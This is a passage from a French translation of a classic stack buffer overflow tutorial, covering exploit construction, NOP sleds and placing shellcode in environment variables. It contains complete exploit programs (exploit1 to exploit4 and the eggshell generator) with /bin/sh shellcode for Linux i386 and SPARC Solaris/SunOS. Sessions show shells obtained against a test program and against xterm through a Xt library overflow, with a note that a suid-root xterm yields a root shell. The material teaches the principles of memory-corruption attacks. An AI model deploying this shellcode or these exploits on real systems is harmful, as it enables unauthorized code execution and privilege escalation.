un Exploit ~~~~~~~~~~~~~~~~~ (ou comment exploiter la pile) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Essayons de rassembler les diverses pièces. Nous avons le shellcode. Nous savons qu'il peut etre mis dans la chaine que nous utiliserons pour overflooder le buffer. Nous savons que nous devons faire pointer l'adresse de retour vers le buffer. Cet exemple montre ces points : overflow1.c ------------------------------------------------------------------------------ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; char large_string[128]; void main() { char buffer[96]; int i; long *long_ptr = (long *) large_string; for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer; for (i = 0; i < strlen(shellcode); i++) large_string[i] = shellcode[i]; strcpy(buffer,large_string); } ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ [aleph1]$ gcc -o exploit1 exploit1.c [aleph1]$ ./exploit1 $ exit exit [aleph1]$ ------------------------------------------------------------------------------ Nous avons remplit le tableau large_string[] avec l'adresse de buffer[], ce qui est l'emplacement de notre code. Puis nous copions notre shellcode dans le début de la chaine large_string. strcpy() va ensuite copier large_string dans le buffer sans faire aucun test de taille, et va dépasser sur l'adresse de retour, y réécrivant l'adresse de notre code. Une fois que nous avons atteint la fin de main et que le programme essaie de retourner de la fonction main, ca saute à notre code et exécute un shell. Un problème qui apparait quand nous essayons d'overflooder le buffer d'un autre programme est d'essayer de trouver quel sera l'adresse du buffer (et donc de notre code). La réponse est que pour tout les programmes la pile commence à la meme adresse. La plupart des programme ne mettent pas plus de quelques centaines ou milliers d'octets dans la pile à la fois. Donc en sachant où la pile commence nous pouvons essayer de deviner où se situe le buffer que nous essayons d'overlooder. Violà un petit programme qui affiche son pointeur de pile : sp.c ------------------------------------------------------------------------------ unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main() { printf("0x%x\n", get_sp()); } ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ [aleph1]$ ./sp 0x8000470 [aleph1]$ ------------------------------------------------------------------------------ Considérons que le programme que nous essayons d'exploiter est : vulnerable.c ------------------------------------------------------------------------------ void main(int argc, char *argv[]) { char buffer[512]; if (argc > 1) strcpy(buffer,argv[1]); } ------------------------------------------------------------------------------ Nous pouvons créer un programme qui prendra en paramètre une taille de buffer et un offset à partir de SP (où nous croyons que le buffer que nous voulons exploiter est situé). Nous metterons la chaine d'overflow dans une variable d'environnement donc facile à manipuler : exploit2.c ------------------------------------------------------------------------------ #include #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr += 4; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; memcpy(buff,"EGG=",4); putenv(buff); system("/bin/bash"); } ------------------------------------------------------------------------------ Maintenant, nous pouvons essayer de deviner ce que la taille du buffer et l'offset pourraient etre : ------------------------------------------------------------------------------ [aleph1]$ ./exploit2 500 Using address: 0xbffffdb4 [aleph1]$ ./vulnerable $EGG [aleph1]$ exit [aleph1]$ ./exploit2 600 Using address: 0xbffffdb4 [aleph1]$ ./vulnerable $EGG Illegal instruction [aleph1]$ exit [aleph1]$ ./exploit2 600 100 Using address: 0xbffffd4c [aleph1]$ ./vulnerable $EGG Segmentation fault [aleph1]$ exit [aleph1]$ ./exploit2 600 200 Using address: 0xbffffce8 [aleph1]$ ./vulnerable $EGG Segmentation fault [aleph1]$ exit . . . [aleph1]$ ./exploit2 600 1564 Using address: 0xbffff794 [aleph1]$ ./vulnerable $EGG $ ------------------------------------------------------------------------------ Comme nous pouvons le constater, ce n'est pas très efficace. Essayer de deviner l'offset meme en sachant où est le début de la pile est quasiment impossible. Nous auront besoin au mieux d'une centaine d'essaies et au pire de deux milliers. Le problème est que nous devons deviner *exactement* où notre code commencera. Si nous sommes dans l'erreur seulement d'un octets on va malgré tout obtenir un segfault ou un illegal instruction. Un moyens d'augmenter nos chances et de remplir le début du buffer avec des instructions NOP. Pratiquement tout les processeurs possèdent une instruction NOP qui ne fait rien. C'est utilisé d'habitude pour retarder l'exécution pour des questions de timing. Nous en tirerons avantage et remplirons la moitié de notre buffer avec. Nous placerons le shellcode au centre et le ferons suivre avec l'adresse de retour. Si nous sommes chanceux et que l'adresse de retour pointe n'importe où dans la série de NOPs, ils vont etre exécuter jusqu'à atteindre notre code. Sur les architecture Intel l'instruction NOP fait un octet et son code machine est 0x90. Considérons que la pile commence à l'adresse 0xFF, que S représente le shell code, et que N représente une instruction NOP, alors la nouvelle pile ressemblera à : bas de la DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF haut de la mémoire 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF mémoire buffer sfp ret a b c <------ [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE] ^ | |_____________________| bas de la haut de la pile pile Le nouvel exploit est alors : exploit3.c ------------------------------------------------------------------------------ #include #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; for (i = 0; i < bsize/2; i++) buff[i] = NOP; ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; memcpy(buff,"EGG=",4); putenv(buff); system("/bin/bash"); } ------------------------------------------------------------------------------ Une bonne valeur pour la taille de notre buffer est d'environs 100 octets de plus que la taille du buffer que nous essayons d'overflooder. Cela placera notre code à la fin de ce dernier, donnant beaucoup de place pour les nops, mais modifiant encore l'adresse de retour par l'adresse que nous voulons. Le buffer que nous essayons d'exploiter fait 512 octets, donc nous utiliserons 612. Essayons de faire le buffer overflow sur notre programme de teste avec notre nouvel exploit : ------------------------------------------------------------------------------ [aleph1]$ ./exploit3 612 Using address: 0xbffffdb4 [aleph1]$ ./vulnerable $EGG $ ------------------------------------------------------------------------------ Cool ! Du premier coup ! Cela a multiplié par une centaine nos chances. Essayons maintenant sur un cas réel de buffer overflow. Nous utiliserons pour notre démonstration le buffer overflow sur la librairie Xt. Pour notre exemple, nous utiliserons xterm (tous les programmes lié à la lib Xt sont vulnérable). Vous devez faire tourner un serveur X et autoriser les connexions à partir de localhost. Réglez la variables DISPLAY correctement. ------------------------------------------------------------------------------ [aleph1]$ export DISPLAY=:0.0 [aleph1]$ ./exploit3 1124 Using address: 0xbffffdb4 [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG Warning: Color name "ë^1?FF [aleph1]$ exit [aleph1]$ ./exploit3 2148 100 Using address: 0xbffffd48 [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG Warning: Color name "ë^1?FF Warning: some arguments in previous message were lost Illegal instruction [aleph1]$ exit [aleph1]$ ./exploit3 2148 600 Using address: 0xbffffb54 [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG Warning: Color name "ë^1?FF Warning: some arguments in previous message were lost bash$ ------------------------------------------------------------------------------ Eureka ! Moins d'une dizaine d'essaie et nous avons trouvé les nombres magiques. Si xterm avait le bit suid root on a maintenant un shell root. Petits Buffer Overflows ~~~~~~~~~~~~~~~~~~~~~~~ Il y aura des moments où le buffer que vous voulez exploiter est tellement petit que meme le shellcode ne tiendra pas dedans et l'adresse de retour sera réécrite par des instructions au lieu de l'adresse de notre code, ou le nombre de NOPs que vous pouvez y faire tenir est tellement petit que les chances de deviner une adresse correcte est miniscule. Pour obtenir un shell de ces programmes nous allons voir un autre moyen de faire. Cette approche particulière ne marche que si vous avez accès au variables d'environnement du programme. Nous allons placer notre shellcode dans une variable d'environnement, puis faire déborder le buffer avec l'adresse de cette variable en mémoire. Cette méthode augmente également vos chances de voir l'exploit fonctionner car vous pouvez stocker un code aussi gros que vous le souhaitez dans la variable d'environnement. Les variables d'environnement sont stocké au haut de la pile quand le programme est lancé, toute modification ultérieure par setenv() sont allouée ailleur. La pile au début ressemble donc à : NULLNULL Notre nouveau programme prendra un arguments en plus, la taille de la variable contenant le shellcode et les NOPs. Notre nouvel exploit ressemble désormais à : exploit4.c ------------------------------------------------------------------------------ #include #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 2048 #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_esp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, eggsize=DEFAULT_EGG_SIZE; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (argc > 3) eggsize = atoi(argv[3]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_esp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg,"EGG=",4); putenv(egg); memcpy(buff,"RET=",4); putenv(buff); system("/bin/bash"); } ------------------------------------------------------------------------------ Essayons notre nouvel exploit avec notre programme de test vulnerable : ------------------------------------------------------------------------------ [aleph1]$ ./exploit4 768 Using address: 0xbffffdb0 [aleph1]$ ./vulnerable $RET $ ------------------------------------------------------------------------------ Ca fonctionne à la perfection. Maintenant essayons sur xterm : ------------------------------------------------------------------------------ [aleph1]$ export DISPLAY=:0.0 [aleph1]$ ./exploit4 2148 Using address: 0xbffffdb0 [aleph1]$ /usr/X11R6/bin/xterm -fg $RET Warning: Color name Warning: some arguments in previous message were lost $ ------------------------------------------------------------------------------ Du premier coup ! Selon le nombre de variables d'environnement que le programme d'exploit possède en comparaison de celles du programme que l'on essaie d'exploiter, l'adresse à deviner peut etre plus faible ou plus grande. Essayez aussi bien les offsets positifs et négatifs. Trouver les Buffer Overflows ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Cpmme signalé plus haut, les buffer overflows sont le résultat d'une tentative de mettre plus de donnée dans un buffer qu'il n'est prévu. Comme C ne possède aucunne vérification de taille en interne, les buffer overflows se manifestent souvent par l'écriture au-delà de la fin d'un tableau de caractères. La librairie standard C fournit un certain nombre de fonctions pour copier ou concaténer des chaine qui ne réalisent pas de vérification de taille. Elles incluent : strcat(), strcpy(), sprintf(), et vsprintf(). Ces fonctions travaillent sur des chaines terminé par le caractère nul et ne font pas de vérification pour éviter le buffer overflows. gets() est une fonction qui lit une ligne de stdin et la stocke dans un buffer jusqu'à une nouvelle ligne ou un EOF. Aucune vérification n'est faite pour prévenir du buffer overflow. La famille de fonctions scanf() peuvent également etre utilisé si vous demandez une séquence de caractères non blanc (%s), ou une séquence non vide de caractères d'une sélection prédéfinie (%[]), que le tableau pointé par le pointeur sur char n'est pas assez large pour accepter la séquence entière de caractère et que le champs optionnel maximum width n'a pas été défini (NDT : il s'agit en fait des formats bugs). Si la cible de toute ces fonctions est un buffer de taille statique et que ces autres arguments dérivent d'une manière quelconque d'une entrée utilisateur, il y a de bonnes chances que vous soyez en mesure d'exploiter un buffer overflow. Une autre structure de programme que l'on trouve couramment est l'usage d'une boucle while pour lire un caractère à la fois à partir de stdin ou d'un fichier vers un buffer jusqu'à ce que EOL (fin de ligne), EOF ou un delimiteur quelconque soit rencontré. Ce type de construction utilise habituellement une de ces fonctions : getc(), fgetc() ou getchar(). S'il n'y a pas de test explicite pour éviter le buffer overflow dans la boucle while alors le programme est facilement exploitable. Pour conclure, grep(1) est votre ami. Les sources pour les OS libres et leurs outils peuvent etre lues. Le fait devient assez vite interessant une fois qu'on a réalisé que plusieurs OS commerciaux sont dérivés des meme sources que les OS libres. Appendice A - Code de Shell pour différents Systèmes et Architectures ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ i386/Linux ------------------------------------------------------------------------------ jmp 0x1f popl %esi movl %esi,0x8(%esi) xorl %eax,%eax movb %eax,0x7(%esi) movl %eax,0xc(%esi) movb $0xb,%al movl %esi,%ebx leal 0x8(%esi),%ecx leal 0xc(%esi),%edx int $0x80 xorl %ebx,%ebx movl %ebx,%eax inc %eax int $0x80 call -0x24 .string \"/bin/sh\" ------------------------------------------------------------------------------ SPARC/Solaris ------------------------------------------------------------------------------ sethi 0xbd89a, %l6 or %l6, 0x16e, %l6 sethi 0xbdcda, %l7 and %sp, %sp, %o0 add %sp, 8, %o1 xor %o2, %o2, %o2 add %sp, 16, %sp std %l6, [%sp - 16] st %sp, [%sp - 8] st %g0, [%sp - 4] mov 0x3b, %g1 ta 8 xor %o7, %o7, %o0 mov 1, %g1 ta 8 ------------------------------------------------------------------------------ SPARC/SunOS ------------------------------------------------------------------------------ sethi 0xbd89a, %l6 or %l6, 0x16e, %l6 sethi 0xbdcda, %l7 and %sp, %sp, %o0 add %sp, 8, %o1 xor %o2, %o2, %o2 add %sp, 16, %sp std %l6, [%sp - 16] st %sp, [%sp - 8] st %g0, [%sp - 4] mov 0x3b, %g1 mov -0x1, %l5 ta %l5 + 1 xor %o7, %o7, %o0 mov 1, %g1 ta %l5 + 1 ------------------------------------------------------------------------------ Appendice B - Prog de buffer overflow génériques ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ shellcode.h ------------------------------------------------------------------------------ #if defined(__i386__) && defined(__linux__) #define NOP_SIZE 1 char nop[] = "\x90"; char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } #elif defined(__sparc__) && defined(__sun__) && defined(__svr4__) #define NOP_SIZE 4 char nop[]="\xac\x15\xa1\x6e"; char shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08" "\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08"; unsigned long get_sp(void) { __asm__("or %sp, %sp, %i0"); } #elif defined(__sparc__) && defined(__sun__) #define NOP_SIZE 4 char nop[]="\xac\x15\xa1\x6e"; char shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff" "\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01"; unsigned long get_sp(void) { __asm__("or %sp, %sp, %i0"); } #endif ------------------------------------------------------------------------------ eggshell.c ------------------------------------------------------------------------------ /* * eggshell v1.0 * * Aleph One / aleph1@underground.org */ #include #include #include "shellcode.h" #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 2048 void usage(void); void main(int argc, char *argv[]) { char *ptr, *bof, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE; while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF) switch (c) { case 'a': align = atoi(optarg); break; case 'b': bsize = atoi(optarg); break; case 'e': eggsize = atoi(optarg); break; case 'o': offset = atoi(optarg); break; case '?': usage(); exit(0); } if (strlen(shellcode) > eggsize) { printf("Shellcode is larger the the egg.\n"); exit(0); } if (!(bof = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n", bsize, eggsize, align); printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset); addr_ptr = (long *) bof; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE) for (n = 0; n < NOP_SIZE; n++) { m = (n + align) % NOP_SIZE; *(ptr++) = nop[m]; } for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; bof[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg,"EGG=",4); putenv(egg); memcpy(bof,"BOF=",4); putenv(bof); system("/bin/sh"); } void usage(void) { (void)fprintf(stderr, "usage: eggshell [-a ] [-b ] [-e ] [-o ]\n"); } ------------------------------------------------------------------------------